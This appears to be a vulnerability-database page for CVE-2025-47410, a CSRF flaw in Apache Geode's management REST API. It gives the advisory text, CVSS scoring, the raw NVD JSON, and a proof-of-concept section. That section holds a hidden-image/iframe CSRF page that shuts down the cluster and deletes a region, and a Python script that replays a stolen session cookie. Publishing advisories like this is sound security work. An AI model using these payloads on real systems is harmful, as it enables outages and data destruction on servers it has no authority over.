Security Vulnerability Report
中文
CVE-2025-47410 CVSS 8.8 HIGH

CVE-2025-47410

Published: 2025-10-18 16:15:36
Last Modified: 2025-11-04 22:16:16

Description

Apache Geode is vulnerable to CSRF attacks through GET requests to the Management and Monitoring REST API that could allow an attacker who has tricked a user into giving up their Geode session credentials to submit malicious commands on the target system on behalf of the authenticated user. This issue affects Apache Geode: versions 1.10 through 1.15.1 Users are recommended to upgrade to version 1.15.2, which fixes the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:geode:*:*:*:*:*:*:*:* - VULNERABLE
Apache Geode >= 1.10, < 1.15.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-47410 - Apache Geode CSRF PoC # This PoC demonstrates a CSRF attack via GET request against Geode Management REST API # Attacker hosts this HTML on a malicious site; when an authenticated admin visits it, # the browser will send a GET request with the admin's session cookie to the Geode server. <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <h1>Please wait, content is loading...</h1> <!-- CSRF PoC 1: Trigger cluster shutdown via GET request --> <img src="https://geode-target-host:7070/management/v1/commands/shutdown" style="display:none" alt=""> <!-- CSRF PoC 2: Remove a data region via GET request --> <img src="https://geode-target-host:7070/management/v1/commands/removeRegion?region=critical_region" style="display:none" alt=""> <!-- CSRF PoC 3: Trigger via hidden iframe (alternative method) --> <iframe src="https://geode-target-host:7070/management/v1/commands/compactDiskStore?diskstore=name" style="display:none"></iframe> <script> // Optional: redirect user after attack execution to avoid suspicion setTimeout(function() { // window.location.href = "https://innocent-site.com"; }, 3000); </script> </body> </html> # Python exploit script (alternative approach using requests with stolen session) # Note: True CSRF exploits rely on victim's browser, but this demonstrates the API call: ''' import requests TARGET = "https://geode-target-host:7070" SESSION_COOKIE = "GFCH_SESSION=<stolen_session_id>" # Obtained via XSS or other means # Execute management command via GET request (no CSRF token required) response = requests.get( f"{TARGET}/management/v1/commands/shutdown", headers={"Cookie": SESSION_COOKIE} ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") '''

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47410", "sourceIdentifier": "[email protected]", "published": "2025-10-18T16:15:35.557", "lastModified": "2025-11-04T22:16:16.040", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Geode is vulnerable to CSRF attacks through GET requests to the Management and Monitoring REST API that could allow an attacker who has tricked a user into giving up their Geode session credentials to submit malicious commands on the target system on behalf of the authenticated user.\n\n\nThis issue affects Apache Geode: versions 1.10 through 1.15.1\n\nUsers are recommended to upgrade to version 1.15.2, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:geode:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.10.0", "versionEndExcluding": "1.15.2", "matchCriteriaId": "DB6E9CD3-4AC2-4068-ACAC-3807A841C3CA"}]}]}], "references": [{"url": "https://lists.apache.org/thread/k88tv3rhl4ymsvt4h6qsv7sq10q5prrt", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/17/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}